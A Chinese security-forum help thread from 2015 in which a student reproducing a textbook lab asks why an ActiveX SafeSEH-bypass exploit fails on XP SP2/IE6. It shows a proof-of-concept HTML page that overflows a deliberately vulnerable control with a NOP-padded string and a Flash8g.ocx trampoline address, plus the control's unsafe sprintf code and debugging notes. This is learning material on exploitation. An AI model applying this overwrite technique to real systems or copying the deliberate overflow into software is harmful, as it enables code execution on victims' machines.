首页
社区
课程
招聘
[求助]《0day2》ActiveX绕过SafeSEH实验的问题
发表于: 2015-3-17 21:37 14696

[求助]《0day2》ActiveX绕过SafeSEH实验的问题

2015-3-17 21:37
14696
实验做了一天了,眼看着图书馆就要关门了,还是没解决问题,还是发帖求助大家:)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

书中305页开始的利用低版本Adobe Flash Player ActiveX控件绕过SafeSEH

我本地实验环境:

OS:             XP  SP2
浏览器:       IE  6
Flash Ver:  8.0.42.0
ActiveX开发环境: vs2012

编译使用的UNICODE, 在静态库中使用的dll,已禁用编译优化

实验原理应该是低版本的flash player不支持SafeSEH的特性。

poc页面代码
<html>
<body>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,42,0" width="160" height="260">
  <param name="movie" value="1.swf" />
  <param name="quality" value="high" />
  <embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed>
</object>
<object classid="clsid:1A27B304-B5C8-44A3-B196-688D7E0745E7" id="test"></object>
<script>  
var s = "\u9090";
var z = 0;
while (s.length < 136) {
s += "\u9090";
}
s += "\u0D06\u3008";
test.test(s);  
z = 3/z;
</script>  
</body>  
</html>


poc解释,计算出dest缓冲区至最近的seh需要淹没268个字节,

\u0D06\u3008(0x30080D06) 是在ActiveX中找到的跳板
地址=30080D06  CALL [EBP+0x24] at 0x30080d06     Module:  C:\WINDOWS\system32\Macromed\Flash\Flash8g.ocx


在代码执行完sprintf时,堆栈如下:


seh函数指针覆盖掉了。继续f9


崩了。。。和书中所述不符,为了制造异常,var z=0; z = 3/z; 是我后来加上的。

我在0x30080D06处下断了,按书中所述应该可以断在这里呀?

求教 (图书馆赶人了。。先撤了)  :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ActiveX代码

void CVulnerAX_SEHCtrl::test(LPCTSTR str)
{
    AFX_MANAGE_STATE(AfxGetStaticModuleState());

    // TODO: 在此添加调度处理程序代码
    printf("aaaa");
    char dest[100];
    sprintf(dest, "%s", str);

    int a = 0;
    a = 4/a;
    printf("%d",a);
}


情况还是同昨天一样。

10001998    C745 90 0000000>mov dword ptr ss:[ebp-0x70],0x0
1000199F    B8 04000000     mov eax,0x4
100019A4    99              cdq
100019A5    F77D 90         idiv dword ptr ss:[ebp-0x70]


f9的话,程序进程直接终止了。od异常设置如下



单步的话,执行至idiv,f8则跳至ntdll模块,f9进程终止。。



小生再看一下,也请各位指点下~感激

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 65
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
我的错。。忘贴ocx文件代码了。完整代码明天贴

跟着记忆写下代码吧

Void  test(BSTR str)
{
    char dest[100];
    Printf("aaaa");
    Sprintf(dest,"%s",str);
}

。。。貌似意识到除零异常应该写在activex里,
晚上写帖子太急了,明天把除零异常写到ocx里试试。
不过书中没写除零异常的代码,因为没断在异常函数所以我加的试试:p

请大家指教
2015-3-17 23:29
0
雪    币: 65
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
总是进ZwRaiseException,然后就退出了。。。。

求指教
2015-3-18 16:54
0
雪    币: 65
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
顶。。。。
2015-3-18 19:04
0
雪    币: 65
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
虽然放弃这个实验继续往下看了,再顶一下吧,说不定有人指点一二了呢
2015-3-19 14:54
0
雪    币: 69
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
msf
6
难道是 vs12开启某特性,建议还是用vc6 做吧!
2015-4-2 15:37
0
游客
登录 | 注册 方可回帖
返回
//